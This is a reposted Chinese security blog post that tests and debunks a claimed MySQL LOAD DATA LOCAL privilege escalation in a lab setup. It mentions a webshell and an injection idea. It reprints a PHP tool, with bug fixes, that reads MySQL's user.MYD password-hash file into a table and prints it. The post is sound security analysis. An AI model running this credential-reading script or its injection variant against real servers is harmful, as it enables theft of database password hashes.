转自:http://www.okadwin.com/?post=134
看那帖子标题就很喜感有木有,大概意思就是创建了一个没有file权限的账户test,然后不能load file 啥的,但是可以用load data local 这样来读文件的内容到某个表里,然后再select读出来balabala…..
一开始以为只有这位大牛这么说,但是后来先后几次看到很多大牛如同得到了MySQL的0day一样,满心欢喜的在各种地方分享(哦对了,对于这种分享精神 提出口头表扬一次),甚至还有人写出了利用脚本,虽然就那么几个SQL语句,但是脚本写的还挺像那么回事,于是我就下载下来了。一会我们就拿这个脚本进行 测试吧。
其实我真的不懂MySQL,我也真的不知道一般默认情况下你从一个文件load data的话只能是localhost才行,而且我真的不知道其实你load data local的时候其实是和WEB的权限是一样的!!!别问我是怎么知道的,用脚后跟想一想就知道这么2B的“越权”不可能出现在如此成熟的MySQL身 上,so,找了找资料,请注意如下这段话:
[我是引用] 在WEB环境中,客户从WEB服务器连接,用户可以使用LOAD DATA LOCAL语句来读取WEB服务器进程有读访问权限的任何文件(假定用户可以运行SQL服务器的任何命令)。在这种环境中,MySQL服务器的客户实际上 是WEB服务器,而不是连接WEB服务器的用户运行的程序。[/我是引用结束]
至于出处我觉得。。。百度一下吧,我就不贴出来地址了。
OK,空口无凭,我们还是还实际测试一下吧,实践出真知嘛。为了便捷,我搭建了一个win2003的虚拟机,然后安装了wampserver,为了避免产生类似“到底是否和MySQL账户权限有关”这样的争议,测试中MySQL全程都是用的root账户。
author:adwin
blog:http://www.okadwin.comfrom:Silic http://silic.org
大家都知道,一般来说wampServer的Apache默认是以system的身份启动的,so,上了一个习科的大马来证实了一下。
现在我们的PHP(Apache)运行在无所不能的system权限下,当然也可以直接通过PHP的webshell来直接读取保存MySQL账户hash的文件
好吧,都说了我们是无所不能的system了。
那么我们现在来测试一个所谓的MySQL“越权”load data local。我在网上找到了一个大神写好的脚本(方便多了,真是为人民造福啊),用这个脚本测试了一下,一样可以读到内容。(我会在后边给出这个脚本的源码)
现在我们新建一个test用户来做测试
在我的电脑右键,管理,服务和应用程序,服务,找到wampapache,也就是Apache的服务,右键-属性-登陆,我们看到,当前的登陆身份是“本地系统账户”
显然这个时候是system权限,那么我们让Apache以刚才建立的test用户的身份运行
我们必须要重启Apache的服务才行,不过好像是似乎出了点问题
好吧,看一下日志,这是什么情况。。。
我了个擦,原来是换成test用户之后权限不够了。。。好吧,给test用户赋予相应的权限,Apache成功启动,这个时候我们在看看whoami,确定一下当前确实是test的身份
这个时候我们把MySQL的data目录设置上权限,拒绝test这个用户读写
显然这个时候PHP的webshell就读不了data目录了(把权限拒绝应用到了data目录及所有子文件(夹))
这个时候我们再用那个load data local的脚本来读一下试试(我保证读不到,如果能读到我直播吃翔)
好吧,事实证明我不用直播吃翔了。
总结一下:第一,所谓的“越权”根本不存在,load data只不过是从文件读取数据而已,和into outfile是互为反操作,这样就容易理解多了。而且理论上这种load data的方式只能是数据库在localhost的时候才可以。
第二,你load data的权限和WEB脚本的运行权限是一样的——这就意味着,假如你可以通过load data得到文件的内容,那通过webshell也一定可以直接读的到,为啥还非得要脱裤子放屁?
第三,其实也不是完全没有用处,我突然想到一种情景,比如在注入点上可以直接select @@datadir,读到路径之后load data,然后再select,这也不失为一种思路(显然我只是刚刚想到可能会有这种情况,还从来没有实践过)。
最后,把某位大神写的利用脚本的源码贴上来,也算是让大伙看看load data的语句。
另外也指出这个脚本的几点不足,如果有幸作者能够看到的话,希望对有你略有帮助。
第一:第8行,原本代码:if(!link){,兄弟你少写了个$,请改成if(!$link){。
第二:第16行,原本代码:$db_path_sql=”select @@basedir”;,我建议你这里使用@@datadir,而不是@@basedir,要知道,虽然多数(默认)情况下@@datadir确实等于 @@basedir . “/data”,但其实@@datadir是可以自定义的,有的时候可能@@datadir和@@basedir真的一点关系也没有。
第三:第26行,原本代码:”.$db_path.”data/mysql/user.MYD,其实这里看起来好像没什么问题,不过好像这里 的$db_path值最后应该没有一个斜线“/”,所以你这样拼接起来的路径应该是不对的,拼接起来可能是类似“c:\mysqldata/mysql /user.MYD”这样的,因为$db_path的值的最后没有斜线,后边拼接的字符串data/mysql/user.MYD,最前边也没有斜线,所 以导致了这个问题(至少在我做测试的时候是这样的),so,改为:”.$db_path.”/data/mysql/user.MYD即可解决这个问题。
第四:让用户输入host就没这个必要了吧,这时候host只能是localhost,如果是远程主机的话肯定是读不了的。
最后代码附上(各位看官别忘了修改第26行的代码)
if(isset($_POST['sub'])){
$name=$_POST['name'];
$pass=$_POST['password'];
$host=$_POST['host'];
$db=$_POST['db'];
$link = mysql_connect($host,$name,$pass);
if(!link){
die("could not connect".mysql_error());
} if(!mysql_select_db($db,$link)){
die("db".mysql_error());
} $db_path_sql="select @@basedir";
if($n=mysql_query($db_path_sql)){
$db_path_rs=mysql_fetch_array($n);
$db_path=str_replace("\\","/",$db_path_rs[0]);
}
$dropmoon='DROP table moon';
$sql="CREATE TABLE moon (`code` TEXT NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;";
$exp="LOAD DATA LOCAL INFILE '".$db_path."data/mysql/user.MYD' INTO TABLE moon fields terminated by '' LINES TERMINATED BY '\0';";
$select="SELECT code FROM moon";
$pass="";
mysql_query($dropmoon);
if(mysql_query($sql)){
if($row=mysql_query($exp)){
if($row=mysql_query($select)){
while($rows=mysql_fetch_array($row))
{
echo $pass.=$rows['code'];
}
}
}
}
}
else{
echo "
";echo '';
echo "
MYSQL低权限读取ROOT密码工具(暗月内部原创工具)";echo "";
echo '
';echo "
MYSQL低权限读取ROOT密码工具(暗月内部原创工具)
";echo 'host:
';
echo 'name:
';
echo 'pass:
';
echo 'db  :';
echo '';
echo "
";echo "
";
echo '
';echo "